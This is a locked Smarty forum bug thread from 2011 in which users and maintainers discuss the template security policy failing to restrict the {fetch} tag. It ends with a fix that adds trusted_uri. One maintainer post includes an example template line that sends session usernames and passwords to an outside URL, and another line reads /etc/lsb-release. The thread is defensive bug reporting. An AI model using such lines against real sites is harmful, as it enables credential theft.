Smarty Forum Index Smarty
WARNING: All discussion is moving to https://reddit.com/r/smarty, please go there! This forum will be closing soon.

Security policy not checked on Smarty_Internal_Template

 
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Smarty Forum Index -> Bugs
View previous topic :: View next topic  
Author Message
martijntje
Smarty Rookie


Joined: 23 Nov 2006
Posts: 9

PostPosted: Thu Dec 15, 2011 3:48 pm    Post subject: Security policy not checked on Smarty_Internal_Template Reply with quote

When using templates created with smarty's createTemplate function, the security policy is not checked, because the isset() call fails.

There are getters and setters implemented on the template that map calls to, e.a. the security policy to the main Smarty object, but these are not implemented for isset().

Please implement an __isset() function on Smarty_Internal_template, like this

Code:
/**
 *  Map is-setters to the underlying template object
 *  @param  string  variable name to check for
 */
public function __isset($property_name)
{
    // check the template itself
    if (property_exists($this, $property_name)) return true;

    // special treatment if 'cache_resource_object' or 'resource_object' resource is being accessed
    elseif ($property_name == 'resource_object' || $property_name == 'cache_resource_object') return true;

    // map isset to underlying template object
    else return isset($this->smarty->$property_name);
}


Another problem related to this is that the fetch function does not properly convert URI's to file paths before putting them through realpath. If for example fetch is called using the following piece of Smarty code:
Code:
{fetch  file="file:///etc/lsb-release"}


SmartyException: directory '' not allowed by security setting in /home/martin/PHP5/Libraries/Smarty/Compatible/Smarty_Security.php on line 255

The securityPolicy::isTrustedResourceDir is called with the complete URI which calls realpath on the string which will return an empty string. So this is also kind of a problem, because in that case all directories are regarded as untrusted and the exception will be thrown.
Back to top
View user's profile Send private message
U.Tews
Administrator


Joined: 22 Nov 2006
Posts: 5068
Location: Hamburg / Germany

PostPosted: Fri Dec 16, 2011 3:10 pm    Post subject: Reply with quote

Can you give an example where isset should fail?

I can fin internally only isset calls where the Smarty object i directly addressed like isset($this->smarty->....).

Regarding your {fetch} tag problem I think this is caused by specifying file: as resource type. This type of resource specification is only used for template resource. So this is wrong usage and must be otmitted.
Back to top
View user's profile Send private message
martijntje
Smarty Rookie


Joined: 23 Nov 2006
Posts: 9

PostPosted: Fri Dec 16, 2011 3:30 pm    Post subject: Reply with quote

Isset fails in the following two files, both in the plugins directory:

function.fetch.php
function.html_image.php

Both run isset on the property security_policy from the Smarty_Internal_Template object. The property is readable, thanks to __get, but isset returns false, because no corresponding __isset function is implemented. Therefor, both these functions behave as if no security policy is ever set.

The fetch plugin checks for http:// and ftp:// protocols (but strangely not for https://) and without security *actually works* with file:// protocols, it is only the security check that fails.

It is of course strange that without security enabled, one can use file:///somefile/ and with security enabled, this is impossible.
Back to top
View user's profile Send private message
U.Tews
Administrator


Joined: 22 Nov 2006
Posts: 5068
Location: Hamburg / Germany

PostPosted: Fri Dec 16, 2011 3:54 pm    Post subject: Reply with quote

Okay looks like that you are still running 3.0. The security access of function.fetch.php and function.html_image.php was fixed in 3.1.
The $template->security_policy stuff should read $template->smarty->security_policy.

I agree that {fetch} needs to be reworked to handle the protocolls correctly. This is on our TODO:
Back to top
View user's profile Send private message
rodneyrehm
Administrator


Joined: 30 Mar 2007
Posts: 674
Location: Germany, border to Switzerland

PostPosted: Fri Dec 16, 2011 3:54 pm    Post subject: Reply with quote

I guess you're a bit confused by all the magic stuff going on. The short answer is: we don't need to implement __isset().

Code:
class Foo {
  public $foo = true;
  public $bar = null;
}
$v = new Foo();
var_dump(
  isset($v->foo),
  isset($v->bar),
  isset($v->blub)
);
should output true, false, false.

We would only need to implement __iset() if the properties are either magic (e.g. stored in an array or something) or protected/private.

---

Regarding the file:// confusion I see the problem. Without security, file:///foo is passed to fopen(), which knows the file:// protocol and acts as expected. Smarty_Security on the other hand, doesn't know anything about protocols at this point.

This is in fact more than a "doesn't understand file://"-bug, imho. Smarty_Security must also check http://, ftp:// and so forth. Currently it doesnt, allowing the template to do
Code:
{fetch file="http://example.org/capture.php?user={$smarty.session.username}&password={$smarty.session.password}"}


I've put this on my todo (which I can hopefully start working on around christmas…)
_________________
Twitter
Back to top
View user's profile Send private message Visit poster's website
rodneyrehm
Administrator


Joined: 30 Mar 2007
Posts: 674
Location: Germany, border to Switzerland

PostPosted: Sun Dec 18, 2011 10:27 pm    Post subject: Reply with quote

This is now fixed in SVN and will be included in Smarty 3.1.7.
(still need to do the docs on this…)

Smarty_Security now knows the property $trusted_uri:

Code:
$smarty->enableSecurity();
$smarty->security_policy->trusted_uri = array(
  '#https?://.*smarty.net$#i'
);
will pass for
Code:
{fetch file="http://smarty.net/foo"}
{fetch file="http://smarty.net/foo"}
{fetch file="http://www.smarty.net/foo"}
{fetch file="http://smarty.net/foo"}
{fetch file="https://foo.bar.www.smarty.net/foo/bla?blubb=1"}
but fail for
Code:
{fetch file="http://smarty.com/foo"}
{fetch file="ftp://www.smarty.net/foo"}
{fetch file="http://www.smarty.net.otherdomain.com/foo"}


whatever URI you pass in is reduced to "{$PROTOCOL}://{$HOSTNAME}" to allow sane regular expressions for validation.
_________________
Twitter
Back to top
View user's profile Send private message Visit poster's website
Display posts from previous:   
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Smarty Forum Index -> Bugs All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group
Protected by Anti-Spam ACP